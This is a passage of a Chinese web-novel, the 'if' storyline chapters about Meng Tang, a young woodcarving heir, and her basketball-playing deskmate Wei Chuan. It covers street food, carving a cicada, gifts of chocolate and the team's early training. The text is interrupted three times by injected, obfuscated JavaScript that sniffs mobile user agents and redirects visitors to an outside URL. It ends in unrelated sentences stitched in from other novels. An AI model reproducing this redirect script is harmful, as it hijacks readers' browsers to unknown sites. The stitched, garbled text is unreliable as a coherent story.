“这边都是小吃街,油水比较大,你能吃吗?” 魏川点了点头:“偶尔一次没事,我运动量大,真的好饿,看看去吧。” 两人来到小吃街,品种太多,魏川有点难以下手,他下意识回头找孟棠。 孟棠指了指中间的空位:“这里都是统一管理的,那边都能坐,先占个位置吧。” “行。”魏川边走边将包里的消毒纸巾拿出来,到了跟前,将两人的桌椅擦了个遍。 孟棠道了谢后在他对面坐下,问:“你想吃什么?” 魏川扭头将两边的摊位看了个遍,热气升腾,裹着诱人的香气,每个摊位前都有人等着,说说笑笑的,热闹又接地气。 “先点个主食吧。”魏川说,“我看这里有面条,还有馄饨和炒粉,再搭配点别的小吃。” “可以。”孟棠说,“我点小馄饨,你吃吗?” 魏川摇摇头:“我吃面条吧,你还有什么想吃的,我去买。” 孟棠说:“点一份瘦肉丸丸和姜酒红糖麻糍吧。” “好。”魏川拿着手机起身,按照她说的一一点了,除了这些,他还买了份板栗和葱油饼,小吃街的末尾,还有位卖kitty烧的年轻姑娘。 形状装饰都是凯蒂猫,很可爱,女生应该都喜欢,他也没问孟棠的意见,直接买了一个。 孟棠得知,觉得他点多了,但还没吃,不免扫兴,只是笑了笑:“谢谢。” 魏川被这个笑迷了眼,少见的放松的一个笑容。 其实他第一次遇见孟棠的时候,下意识给他防备很足的感觉,后来接触下来,也证明了这一点。 她看着软和,不争不抢,其实挺有原则的,但防备心确实很足。 每次约她做些什么,都是不要,但神奇的是,每次都做了。 瘦肉丸很快就端了上来,一碗不辣的,一碗微辣的。 魏川还没吃过,见汤色清亮,下意识低头闻了下,鲜香扑鼻。 他自己吃不辣的,将微辣的推给了孟棠:“你就吃这个能饱吗?” 孟棠用勺子舀起一个小小的瘦肉丸,一边点头,一边吹了吹,当然能吃饱。 一口吃进嘴里,鲜香爽口,肉质Q弹,孟棠眼眸发亮,表情满足:“还是和以前一样的味道。” “你经常来?”魏川也尝了一颗,确实好吃,没有丝毫的腥味。 “以前和爷爷经常过来,”孟棠说,“本来这家是换了一个老板的,我以为会失去了以前的味道,没想到还是和以前的一模一样。” 魏川说:“肯定就是学的之前的老板的。” 孟棠抬眸:“但一样的方子佐料,每个人做出来的味道是不一样的。” 魏川笑着剥了几颗板栗:“看看这个好不好吃。” 孟棠拿过两粒塞进口中:“热的好吃,你买的有点多了,凉了就不好吃了,咱俩肯定吃不完。” 魏川说:“我饭量大,你跟我聊聊天,说不定也就剥完了。” “聊什么?”孟棠将kitty烧拿起来,“这个你要吃吗?一人一半。” 魏川摇摇头:“我不吃,这个很小一份,你应该能吃完。” 孟棠指了指桌上其他的东西:“这么多呢,肯定吃不完。” 魏川看着小巧精致的kitty烧,说:“那这样吧,你负责吃kitty烧,其他的我来负责,如果你还有想吃的可以先拿走。” 孟棠摇摇头:“够了。” 魏川开始扫荡,他饭量的真的大,全吃完也就七分饱的状态。 不过红糖麻糍确实吃不完,太甜了。 两个人坐在捡漏的小吃摊上,边聊边吃板栗。 孟棠想着吃不完,为免浪费,帮他分担一下压力,结果越吃越撑。 “我不行了。”孟棠起身撑着自己,“我吃不动了。” 魏川失笑,给她递过去一张纸巾:“擦擦手,谁让你这么吃了,不是说了我来。” 孟棠擦了嘴巴和手,拿起自己的包:“走吧,别坐车了。” 魏川将最后一把板栗收进掌心,起身跟她一起过了马路。 晚上风大,温度自然也比白天低,魏川身强体壮不怕冷,他瞥了眼孟棠:“冷不冷?要不打车回去吧。” “不冷。”孟棠摇摇头,“现在还不到最冷的时候呢,也不知道你**不习惯雁清的冬天。” “开车四五个小时的距离,有什么不习惯的。”魏川一点不娇气,“你跟那些摊主很熟悉,小时候是不是经常过来?” 孟棠点了点头:“小时候最喜欢跟爷爷出门,一逛能半天,还会跟摊主木雕比赛。” “所以谁雕得快?你赢了吗?”前头有一根树枝折断半截,魏川抬手替她挡了下。 “不看快,只看技艺。”孟棠说,“爷爷当评委,十岁之前都是我输。” 魏川失笑:“这不是欺负人嘛,你一个十来岁的小孩跟那些老家伙比?” “人家也没有很老。”孟棠奇怪他怎么看年纪大的都是老头,“你这样容易被揍。” 魏川哼了声:“那也打不过我啊。” 孟棠噎住,她还真不知道该说什么了。 人高马大,嘴巴还厉害,谁能比得过他。 见孟棠没话,魏川轻笑了声:“你倒是反驳两句。” 怎么反驳,孟棠摇摇头:“走回去有点远了,要不过两个路口再打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“高几啊?” “高二。” “妈呀,高二还转学,你这不太合适啊?你父母工作调动吗?” “不是。”魏川露齿一笑,“打架。” “……哦哦。”司机一瞬间不知道要说什么,“我跟你说啊,水月寺没什么好去的,又小又破,就是瀑布还有点看头,每年不少小年轻会上山祈福,我们本地人都不去的。” “不去还每年不少年轻人上山?”魏川挑了下眉,大叔,你说话怎么颠三倒四的。 “那是因为水月寺前有一颗姻缘树,小情侣就爱去呗。” “姻缘树?”魏川余光下意识瞥了眼孟棠,“准吗?我就不信没有分手的。” 司机笑了两声:“成了的人自然会说准,没成的人自然说不准,这准不准的,还不得看你自己。” “我要是去的话,绝对准啊。”魏川十分自信。 司机特意从后视镜里瞥了他一眼:“小伙子,你这长相,也不像专一的人啊,你谈过恋爱吗?” 孟棠被司机逗笑,意识到魏川在看他,忙躲开他的视线偷笑。 “没谈过。”魏川无语了,“师傅,你不能光从外表判断一个人啊,你怎么知道我不专一啊,我专一起来吓死你。” 司机呵呵两声:“水月寺前面就到了。” 明显不想搭理他了,在司机眼里,他不过就是个没成年的小屁孩。 说什么做什么都带着这个年纪特有的中二。 魏川往孟棠的方向靠过去,长手一伸,降下了车窗。 孟棠下意识贴紧椅背,怔然地看着近在咫尺的侧颜。 他侧脸的线条起伏就像不远处高山的沦落,在夜色中更显深邃。 “什么也看不见啊?黑乎乎的。” “你傻啊,大晚上的能看见什么,更何况还有那么一大片树林。”司机吐槽了句。 魏川下意识看向孟棠,四目相对间,只余下彼此。 第378章 【if线 23】木蝉 从水月寺绕一圈,车辆会经过雁清中学的门口。 车厢内陷入莫名的安静,魏川的余光全都给了一旁的孟棠。 他刚才也不是故意的,司机急刹,两人惯性往前跌,都没系安全带,稀里糊涂卡在了座位之间。 瞬间的尴尬让两人慌张地分开,都没空理会道歉的司机。 两人不发一言,惹得司机也不敢再说话,勤勤恳恳将人送到了目的地。 不过这个目的地距离孟棠家还有一小段路程,因为连接后门的一条小路比较窄,不适合汽车穿过。 孟棠下了车,打算步行。 魏川付了钱,追了过去:“我送你。” “不用。”孟棠立马拒绝,“往前走几步就到了,你赶紧回吧。” “我——” “真不用你送。”孟棠拿出手机,“我给方姐打电话,她会给我开后院的门。” 魏川不好勉强,一步三回头地离开。 方姐在后门接到孟棠,张望了黑漆漆的小道,问:“你一个人回来的?” 孟棠有些不明所以:“不然呢?” “以后一个人尽量走正门。”方姐说,“不是去木雕馆了,怎么从后面绕过来了?” “打车回来的,因为前方出了车祸,改道水月寺。”孟棠很有耐心地回答。 听到车祸,方姐心头一跳,忍不住又唠叨了两句:“以后不上学尽量天黑之前回来吧?” “知道了。” 她本来就是天黑之前要回来的,还有爷爷布置的人物小像的雕刻,结果耽搁了一下午。 “您回院吧。”孟棠直直往前,“我还有点事。” 见她去了工作台,方姐不好再打扰,回了自己房间 家里的工坊里有两张工作台,一张她的,一张孟遇春的。 孟棠的工作台就在窗口,是工坊里光线最好的位置。 桌面正中央,铺着一块洗得发白的藏青色粗绒布,用来垫放木料。 左侧码着一排孟棠亲手打磨保养的刻刀,得有十几把。 刻刀样式各不相同,有尖有圆,有细有粗。 刻刀旁边放着一个小小的黄铜镊子,一块磨石,还有一盏可调节光线变化的台灯。 孟棠开了灯,在桌前坐下。 执荷童子才刻了一半,孟棠却没继续,反而拿了一块拳头大小的木块,已经被打磨得光滑圆润,这么小一块料子,她之前不知道要雕什么,今晚有了想法。 孟棠想雕刻一只木蝉,今晚只够勾勒出轮廓,定型刻体。 孟棠呼出一口气,垂眸用大平刀斜刃轻刮木坯,老爷子说过,蝉,头圆身扁、腹微鼓、翅贴背。 她缓缓修出椭圆的雏形,缓缓削去边角的硬茬,一步一步不厌其烦,因为不能一刀切深,否则没有雕刻余量。 孟棠雕刻很慢,光修个型就花费了半个小时,之后她换了刻刀,进一步修出头与胸腹的分界轮廓。 这一忙,忘记了时间。 木屑漱漱落下,只见她指间的木料成了型,蝉头部两侧定出复眼的凸起位置,轻刮出浅窝,做轮廓标记;胸腹处用平刀顺着木纹刮出微鼓的腹部曲线。 孟棠忘乎所以,有人进了屋子,在她身后站定都没发现。 孟遇春背手伫立许久,半晌轻咳了声。 孟棠下意识要藏,孟遇春看穿了,说:“别藏了,我都看见了。” 孟棠干笑了声:“您什么时候来的?” 孟遇春没说,只是指着她手中的木蝉说:“挖刻蝉腹部的环状纹理,每一道环纹要浅而流畅,间距均匀,一路顺着木头的竖纹走刀,刻至腹尾处纹路稍浅,收窄体态。” 孟棠按照老爷子说的逐一雕刻。 她手有些酸,看了眼时间,顺势停了刀。 孟遇春笑了声:“你这只蝉,雕的是振翅高歌,一鸣惊人?还是饮露不食,高洁自持?” 第一个寓意符合她,但孟棠摇了摇头:“蝉有脱壳重生的本事,我雕的是新生蜕变,生生不息。” 孟遇春盯着她看了两眼,突然问:“我听方姐说你不久前才回,去哪儿了?” “去了木雕街。”孟棠不擅说谎。 孟遇春颔首,今天接到几个老家伙的电话,说他家孟棠带着个又高又帅又有钱的小伙子去了木雕街。 他忍了半天,等了半天她还没回,索性去和老伙计喝两杯,聊了半宿才回。 回来后,方姐说孟棠在北院,他便过来看看。 那件持荷童子被放在一旁,一只蝉要振翅鸣笛了。 孟遇春什么都没说,只是指了指她的工作台:“行了,时间不早了,收拾收拾明天再弄。” “您先回房睡觉吧,我一会儿就走。” 孟遇春转头出了工坊,却在门口顿住了脚步,他抬头望着辽阔的夜空,突然轻笑了声。 得,情窦初开还不承认。 说话的时候再硬气一点,眼神不乱瞟的话他就相信了。 生生不息?头一次见孟棠鬼扯,还挺有意思。 孟棠收拾了工作台,回房后洗了个澡,倒头就睡了。 她的闹钟在放假的时候也会响,做手艺就要吃苦,睡懒觉是万万不行的。 早起后,她会跟着老爷子锻炼一下身体。 吃过早饭后,她又一头扎进了工坊。 今天就能把这只蝉雕好。 孟遇春见她去了后院,喊了声:“雕好拿给我看看。” “好。” 一个上午,孟棠都在精刻蝉的头部,小圆刀深挖复眼轮廓,刻出半球状的凸起,而模拟复眼的纹理,就要用刀尖在复眼上轻戳细密的小点,力度轻而匀,十分讲究。 直至方姐叫她吃饭,她才刻出蝉的口器与额间浅纹。 方姐做了瘦肉丸,孟棠莫名想起了魏川,这个点,估计也在吃饭。 魏川家的午饭一般在十一点半到十二点半之间,今天他回家,可不得好好做一顿丰盛的饭菜。 全家人嘘寒问暖,魏川其实有点吃不消,但也习惯了,谁让家里女性多呢,他和他爸没什么话语权。 “急匆匆回来,结果就待半天,下午又得回,要不妈妈给你请个假吧?”楚茵心疼孩子还要赶回去上晚自习。 魏川摇摇头:“我都多大人了,还请假,您打电话,梁老师肯定同意啊,总是搞特殊也不太好。” 说着,他顿了下,梁老师也不一定能同意,她这人,对待学生一视同仁,管你家是做什么的,在她眼里都一样。 魏川鬼点子上来,突然又改了主意:“妈,要不你打个电话试试?” 楚茵当真从魏川那里要了号码,给梁璐打了过去,结果被梁璐拒绝了,还十分有礼貌地跟她说不能惯孩子。 楚茵见魏川坏笑,当即就知道她被骗了,起身按着魏川后背捶了一通。 “赶紧走。”楚茵指了指大门口,“可烦一个人。” 魏川起身抱住楚茵拍了拍:“那我走了,和秦渊约好了,我跟他见一面就往雁清赶了,让司机送我吧,我坐高铁去,还快一点。” 楚茵挥了挥手:“赶紧走吧,闹心。” 她还是第一次被老师批评。 见了秦渊,将自己从雁清带的小礼物给了他,差点把他感动得一把鼻涕一把泪。 “别恶心了。”魏川推了他一把,“小心我把东西收回来。” 秦渊把玩着手中的小玩意,说:“你怎么想起给我带木雕了?” “那儿很多人靠木雕手艺吃饭,我逛街的时候看见了,觉得精美,索性买了。” “少来。”秦渊嗤笑,“这种小玩意,你要是不懂,就不可能作为礼物送出去,哥们,去雁清不打篮球,改学木雕了?” 魏川一噎,心想秦渊是真了解他。 见他面有异样,秦渊眯了眯眼:“我靠,真不打篮球了?” “想什么呢。”魏川白他一眼,“我是不懂,但我朋友懂啊,是她帮我挑的。” “朋友?你都有新朋友了?男的女的啊?” “同桌。”魏川避重就轻。 “你不对劲啊。”秦渊和他从小穿一条裤子长大,魏川一个微表情都逃不过他的眼睛,“我问你男的女的,你给我说你俩是同桌,那答案只有一个呗,这个陪你逛街,帮你挑选礼物,懂木雕的同桌是个女生。” 不等魏川回答,他挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142652|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了挑眉:“不是?” 魏川抬手看了眼时间:“不早了,我真要走了。” “我送你。”秦渊不可能放过这个八卦,哥俩好地搂住他,“走走走,现在就去高铁站,时间够你说的了。” 魏川自知逃不过,将孟棠告诉了他。 “靠。”秦渊已经听呆了,“兄弟,你谈恋爱了?” 魏川真想给他一句“放屁”,又改了口:“一男一女就是谈恋爱了,不能是朋友?她木雕技艺高超,我欣赏也不行?” “你要是欣赏一个打篮球打得好的女生我不意外。”秦渊耸了耸肩,“还有啊,当局者迷旁观者清。” 魏川不理会他,说:“我到站了,这次真得走了。” “急什么啊,人家都陪你挑选了那么久的小礼物了,你不得也带点特产过去?”秦渊跟他一起下车,“走,去特产店逛一逛。” 魏川简直无语了:“……天南海北的特产吗?” 秦渊一噎:“那你说,是不是买了比不买了好,而且你不是组了篮球队吗?就当入队仪式的礼物了,你又不缺这点钱。” 魏川想到段思齐,觉得秦渊说的话也对,便点了点头:“买点吃的吧,这个实用一点。” 秦渊:“……” 特产店逛了一圈,买了一堆不好拿,魏川特地又在附近的店铺里买了个大的行李箱。 坐上车的时候才觉得自己的傻子,魏川拿出手机,借着微弱的信号给孟棠发了条信息:【我带了特产,回去给你一份。】 孟棠听到了手机的声音,但没抬头,她用线刀刀背轻轻打磨着蝉的翅面,细细擦去碎木屑。 薄得近乎透明的翅膀缓缓呈现眼前,脖颈和手腕酸痛难忍,她终于抬了头,起身缓了缓僵硬的身体。 喝了口水,她拿过手机,看到了魏川的信息。 她下意识看了眼自己雕刻的蝉,三十分钟修型补细,三十分钟打磨抛光就完成了。 孟棠重新坐下,整个人靠在椅背上,下午的阳光照进来,一半在工作台,一半在她。 她回复魏川:【z市还有特产?】 魏川其实有点心虚,回:【特产店买的,当然是特产了。】 孟棠没忍住轻笑一声:“来自天南海北的特产是吧?” 真会安慰自己,他带过来的不会是雁清都有的吧? 不过他特地从z市带过来,也是辛苦了。 孟棠低头继续回复:【谢谢。】 魏川见她,勾了勾唇,心情都变好了:【都是一些吃的,看在你是我同桌的份上,我让你先挑,我队里的那些人就往后排一排吧。】 孟棠哭笑不得,不是一人一份吗?怎么又挑上了? 【行。】 她随便挑两个就行,就是不知道他买了哪些吃的。 【你在家干嘛?几点回学校啊?】 孟棠看了眼时间,回复:【六点去。】 【那我把这些吃的直接带学校去吧,我还特地买了个箱子装的。】 队里人多,一个箱子根本不够装的,但他也懒得再去买了,索性塞了满满一箱子。 这些东西,雁清应该都有,想吃的话,他到时候再买。 五点半不到,孟棠将蝉做了出来,她拿给老爷子过目。 孟遇春看了半晌,说:“这只蝉,刻得好。” 孟棠蹲下身,眼巴巴地问:“哪里好?” 孟遇春指了指:“木头刻蝉,最重要的最难的在于翅膀,你这翅脉顺木纹走,细而不断,薄而不脆,切复眼刻得有神,其余线条深浅匀净干净利落。” 孟棠五岁握刀,到现在已经十几年了,他可以骄傲地说,雁清没几个人能比得过她。 所以他也毫不吝啬自己的夸奖。 “送前厅去吧。”孟遇春说。 孟棠有些犹豫。 “你有其他的打算?”孟遇春稍显惊讶,不会是要把这只蝉送给魏川那小子吧? 会不会太早了些? “好。”岂料,孟棠答应了。 她将木蝉送进前院的展厅,让它栖息在小小的玻璃罩下面。 孟棠拿出手机,对着它拍了一张照片,发了动态。 第379章 【if线 24】巧克力 孟棠很少发动态,除非是木雕馆的活动。 梁菲菲第一个点了赞,紧随其后的是周飞,魏川看到的时候,正好到站。 他直接打了车回学校,在出租车上欣赏了好久。 点了赞后,他给孟棠私信:【你雕的?】 孟棠回校忘了带手机,以至于半晌没回。 魏川将箱子送到了周沉的办公室,事先和他说过了,明早就把这些吃的喝的全都分了。 他自己将给孟棠的那一份带到了教室。 教室里见了鬼的安静,全都埋头刷着试卷,魏川看了一圈,并没有看到老师的影子。 一个个假期作业没做完,全都留着晚上补。 魏川将东西放到孟棠的桌子上,满满当当一大袋。 袋子是帆布的,孟棠扒开看了眼,都是吃的。 “你就留在教室里别带回去,留着课间吃。” 上午还好,下午的时间长些,三四点就得饿,孟棠自己总会备些面包饼干。 孟棠失笑:“你确实这是特产?” 豆干、薯片、鸭脖、夹心饼干、话梅……哪个超市都有得卖。 魏川干笑一声:“特产都是唬人的,我还给你带了两盒巧克力,那个绝对好吃。” “什么巧克力?”孟棠扭过脸。 见她有点兴趣,魏川从包里最底下翻出来两个黑色的盒子:“手工的黑巧,我从三姐那儿拿的,我自己也留了一盒,这两盒给你。” 孟棠看向他,小声道:“无功不受禄。” 魏川轻笑,靠近了点,问:“我给你发信息你都没回,今天晚上你发的动态,只有一张图片的那只木蝉,是你雕刻的吗?” “手机忘带了。”孟棠点点头,“是我雕刻的,问这个干什么?” 魏川说:“我还挺喜欢的,你要卖吗?” 孟棠微怔,这只蝉,是有寓意的。 可偏偏,是魏川提出要买。 孟棠摇摇头:“不卖。” “为什么?”魏川真的很想要,“我给你带这么多吃的,就是想要一个机会而已。” 孟棠将零食推过去:“给你。” “……我开玩笑的。”魏川当即推回去,“我不是那个意思,没有这只蝉,也会给你带吃的,我就是想问问你为什么不卖?” 孟棠说:“这只蝉是我精心雕刻的,我自己也很喜欢。” “好吧。”魏川有些失落,“那你以后会把它送人吗?” 孟棠几乎没犹豫地说:“可能会。” 魏川猛地睁大眼睛:“刚才还不卖呢,转头就要送人,你故意的?” 孟棠十分冤枉,偏偏她嘴皮子没有魏川利索,便道:“只是送给有缘人。” 魏川嘀嘀咕咕:“什么有缘人,是小情人吧。” 孟棠一噎,在桌下狠狠踩了下他的脚,结果给自己踩得脸色通红。 孟棠自己心虚,听到“小情人”这三个字,下意识觉得魏川意有所指。 “我靠……”魏川的脸刚皱起来,梁老师进了教室。 “今晚怎么这么安静?都在补作业吗?” 大家静默不语,只是鼻尖刷刷地写。 魏川和孟棠的作业都没写,尤其是孟棠,时常因为雕刻而不写作业。 一开始,老师们都会找家长,孟遇春也没给个具体的解释,只道:“她爱写就写。” 老师觉得她没有父母,跟着老头怪可怜的,也没为难她,结果最后都被打脸。 首先,孟棠即便作业不能按时完成,但上课是认真听讲的,文化课成绩也是不错的;其次,人家不做作业是有正经事要做,还是黄杨木雕目前最年轻的,手艺最好的非遗传承人。 各类木雕大赛的奖项已经拿了个遍,因为种种,老师也就睁一只眼闭一只眼。 魏川抵了抵孟棠:“你数学写了没?给我抄一下?” 孟棠摇摇头:“正在写。” 魏川叹声气:“自力更生吧。” 他也就是逗逗人。 晚自习结束,魏川和孟棠的作业差不多做好,两人习惯性地并肩出了大门口,又一起回了家。 翌日上午,周沉按照魏川的话将带的零食全都给篮球队的分了,人多不够,魏川又外卖叫了好多。 又吃又拿,大家很不好意思。 宋冕嘿嘿一笑:“川哥,你这也太大方了。” “一点零食而已。”魏川笑道,“以前在队里,我也没少给他们买。” “川哥川哥,你说的是z中篮球队吗?”钱逊挤了过来,“你之前都没说过,我和老宋他们回去搜了一下,好强啊,打过的比赛比我的奖状还多。” 魏川失笑:“z中是传统强队,确实打过不少比赛,但也是钱砸出来的,我不说是怕你们觉得我那你们和他们在作比较。” “讲究人啊。”时巍塞了一口豆干,“这个太好吃了。” “少吃点,小心打球打不动了。”魏川拿掉他的豆干,“我之前跟你们说过,吃饭也要讲究一下,多油高糖的最好少吃少喝,太辣的也不行,最好是能提供能量的,蛋白质和蔬菜水果也是必须的,大家还兼顾学业,坚果类也要吃,垃圾食品只要你忍得住,其实也就无所谓了。” 这里面,时巍最喜欢吃零食,他听完,觉得人生无望了,哀怨地看着魏川:“那你买这么多东西给我们吃?” “最后的晚餐。”宋冕开了句玩笑。 魏川说:“嘴馋少吃点,下周,段思齐和陈瑞就会加入我们,他俩的实力比你们在座的每一位都强,但大家的起点是一样的,甚至人家段思齐都不如你们,我希望大家重视平常的训练,我知道很苦很累,但你已经来了,就没有退缩的道理。” “可是川哥,咱们现在连专属的训练场地都没有,整天和体育生一起挤,他们总嘲笑我们。” 说话的叫冯靖,是他们后招的四个人里的其中一个,另外三个分别叫蒋毅中、王宁、左铭锐。 “是啊,你没来之前,我们还和他们吵了一架。”宋冕叹了声气,“说让我们来找我们的老大。” 魏川失笑:“我吗?” “不是你是谁啊?”钱逊嘿嘿一笑,“老大,你有什么想法啊?要不咱去干一架,谁赢了谁用场地。” “把这种想法全都扔出脑子。”魏川表情严肃起来,“我没有瞒过你们,我是因为什么事情转到这里的。球队一旦组建,你们就是代表学校的专业的篮球队,不能意气用事,更不能打架,篮球队和学校的利益高于一切,比赛比赛,只为了赢,但是在规则之内的正大光明的赢,你们懂吗?” “懂。”几个人垂头丧气地应了声。 魏川说:“我们的场地还在建设中,只能暂时和体育生共用临时训练区。他们的训练强度也大,节奏也和我们不一样,难免会有摩擦,这件事,我会去沟通的。” “麻烦的岂止就这点事。”宋冕补充道,“咱们的篮球、球衣、球鞋这些东西,他们的装备好太多,我前几天还听到他们议论纷纷,说我们搞特殊,还故意过来挑衅。” 魏川敛眉:“别冲动,现在场地共用,闹僵了对我们没好处。他们羡慕咱们的器材用具也很正常,以后尽量避开他们的训练高峰期,我会让段思齐把东西妥善收好,你们也不要去炫耀,免得激怒对方。” 他来雁清是学习和打球的,不是打架的。 打了一次架的教训,他得吃一辈子。 “魏川说得对。”周沉从不远处走来,“往后训练,我会和体育生的教练沟通,协调好训练时间,但你们也要记住,遇到矛盾,不要冲动行事,要及时告诉我和魏川,我们一起协调解决。” 如果没有意外的话,魏川会作为雁清中学篮球队的队长。 这一群人里,只有他有这个资格和能力。 队长帮着他这个教练做一些事情十分正常,他也有这个义务。 周沉一来,大家像吃了一剂定心丸。 大家安静下来,魏川朝他竖起大拇指:“老周,可以啊。” “滚蛋吧,还不把人带过去训练。”周沉抹了一把脸,他刚才就是去和对方的教练协调时间了。 结果对方的教练也不是什么能够讲理的人,周沉只好搬出校长,作势要打电话。 对方的教练这才不情不愿地给他让出了一个训练的场地。 段思齐和陈瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145884|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没来之前,他们八个人也要正常训练的。 其中三个人基础比较薄弱,魏川和周沉这几天专门带他们。 说是基础薄弱,但也只是和专业打篮球的相比。 凡是被他和周沉选进来的,其实都有自己的特长和两把刷子。 魏川拍了下宋冕:“走了,去训练。” 他们是在午饭后半小时开始训练的,白天有课,除了这些间隙外,只剩下晚自习这样大把的时间。 篮球训练每天都要进行大量的练习,即便如此,他们和那些正规军还是不一样。 魏川的心里其实是焦虑的,但他不能表现出来。 任何动摇军心的事情,他都不能做。 个把小时基础训练根本不够,但魏川也没办法,只能静静等待晚自习的时间。 以后他的晚自习可能都不会待在教室了,这也是和学校商量过的结果。 魏川收拾了下自己的东西,对孟棠说:“我以后可能不和你一起回家了。” 孟棠看到他拉上了篮球包的拉链,说:“你好好训练吧。” 他没来之前,她都是一个人回家。 “我会好好训练的。”魏川说,“但如果你有事,可以给我打电话,还有,恶劣天气的时候等我一起走,不许拒绝,就这么说定了。” 魏川撂下几句话就出了教室的门,孟棠嘀咕了句:“走那么快干什么。” 她有说不答应吗? 今晚她也要去画室,本来和他也是同路的。 孟棠拿了自己的包,给梁菲菲打了电话。 两人约在楼下通道口,梁菲菲稍微迟些,见到孟棠,开心地跑了过去:“对不起对不起,每次都要你等我。” 梁菲菲每次都磨蹭,孟棠都习惯了。 两人去到画室,迅速拿出画纸贴上画架,孟棠从包里拿出一盒巧克力打开,暗戳戳递过去,让梁菲菲自己选。 梁菲菲惊喜地拿了两颗:“你怎么买这个了,以前也没见你吃过这玩意,看着还不错啊,是不是很好吃?” 孟棠含糊地应一声:“好吃,你尝尝。” 梁菲菲吃了一颗,半晌苦着一张脸说:“这个可可含量绝对超过75%了,我有点吃不来,但口感挺有层次的。” 孟棠挺喜欢的,太甜的巧克力她是真的吃不来。 “你怎么买了这么苦的巧克力,不过质感和口味都很好,在哪儿买的?过年可以买一点诶。”梁菲菲问孟棠要链接。 孟棠支支吾吾说不出来,梁菲菲这才觉得有鬼,追问之下才知道孟棠的这盒巧克力是别人送的。 “谁啊?”八卦的火焰熊熊燃烧,“哪个家伙暗恋你?你还收了?” “怎么还整上暗恋了?”孟棠的心跳一瞬间乱了,“别胡说。” “那是谁送的啊?”梁菲菲笑着凑过去,“告诉我呗。” 孟棠往窗边动了动画架:“赶紧画吧。” 画室里很安静,梁菲菲也不好再造次,等下晚自习的,她非得把这个人套出来不可。 其实她心里是有答案的,孟棠平时接触的男生屈指可数。 据她所知,周飞是个跟屁虫,但孟棠不会收他的东西。 剩下的就是她那同桌了,下雨天魏川过来接人,孟棠都带着她蹭车了,两人的关系一看就很好。 这还是孟棠第一次和一个男生深入交往,所以她猜这盒巧克力是魏川送的。 没有logo,但包装精美,口味独特浓郁,除了他没有第二个人。 但她把这些给孟棠分析后,孟棠沉默了一瞬,说:“以后要不去做侦探吧?” 梁菲菲哈哈一笑:“果然被我猜对了吧。” 十分肯定的口吻。 孟棠愣愣不知道说什么,梁菲菲就暧昧地抵了抵她:“你俩啥情况啊?” “你画完了?”孟棠又开始转移话题。 “都快放学了,你说呢?别转移话题,快点说。” “这有什么——嘭——” “我靠!什么东西?” 孟棠的话戛然而止,一声惊天巨响让整个画室的人吓了一跳,有人扯着嗓子骂了一句。 而孟棠旁边的玻璃稀里哗啦碎了一地。 第一卷 第380章 【if线 25】早恋的问题 画室完好无损的玻璃窗,瞬间被砸得粉碎,一声巨响,吓坏了室内的人。 梁菲菲眼疾手快拉了一把孟棠,生怕她被碎玻璃崩着。 “没事吗?” 孟棠摇摇头:“没事。” 手下分别掏出雪茄和打火机,黄大全将雪茄叼在嘴上,另一名手下点燃了这根雪茄。 “别妄想逃出去,我体内的母蛊能感受到子蛊的方向。”他拦住时锦的去路,黑色的轮廓几欲与夜色融为一体。 脚边草丛中响起淅淅索索的声响,荣非低头,见到一只圆滚滚的草鼠从地洞口探出头来,鬼鬼祟祟的四处打量。 他自恃哪哪儿都比这少年更胜一筹,偏偏在这年纪心性上比时锦都成熟不少。乍瞧见羌戎少年,他的眼底深处自带了些戒备。 近日因为各种事情杂乱繁忙,他已经很少再去巡视了,连咸阳城都没有再走。 柳月婵心思敏锐,眨眼便察觉了叶无忧心中疑惑,上前一步解释道。 他想不明白这两人,陛下只是遇刺,这两人竟然公然在此谈论皇位继承者,哪来的胆量。 而她在二叔公工作区域所做的整理,其实就是熟悉二叔公生前尚未完成的工作。 当看到罩袍之下露出慕容秋水的面容时,荣非的大脑也有一瞬间的宕机。 崔秀才让云吞摊主给盛了两碗云吞,付了钱,这才捧着两碗云吞跟着回家。 而同样在听到这个中年人的声音后,就算是城主这样的龙战皇强者也是忍不住的面色大变,看着白衣人的目光中充满了忌惮。 “好,如今林家和王家都被查封,他们两家的人也都在接受调查,估计没有谁还有工夫来找你晦气,你安心在这边待产吧。”陆静轩说。 今天本來他们能很早的就到达预赛地点,但是考虑了良久后,他还是绝对给这些别的地方來的乡巴佬一个下马威,让他们看看伟大的圣殿都是來的什么级别的人,不行的还是趁早滚蛋的好,别在这里丢人现眼了。 我缓了好半天才缓过劲来,这么说,我是作为死囚犯被弄到这里当做了冰冻实验体,进行为期五年的冰冻实验。 虽然风景无限好,但恐高的我真不感冒。这还是我人生第一次跳伞,若不是逼成这样,我估计怎么也不会去玩这种冒险刺激的体验。 这场战斗可以说,根本就不再意料之中,如果不是李宁宇看到了这伙骑兵团长腰上的三菱刺刀,根本就不能避免一场突然起来的变,那么远东军团必然会在这次突然的变故中,损失惨重。 “呵呵,进去看看就知道了!”说完雷厉伸了一个懒腰便往里面走去。 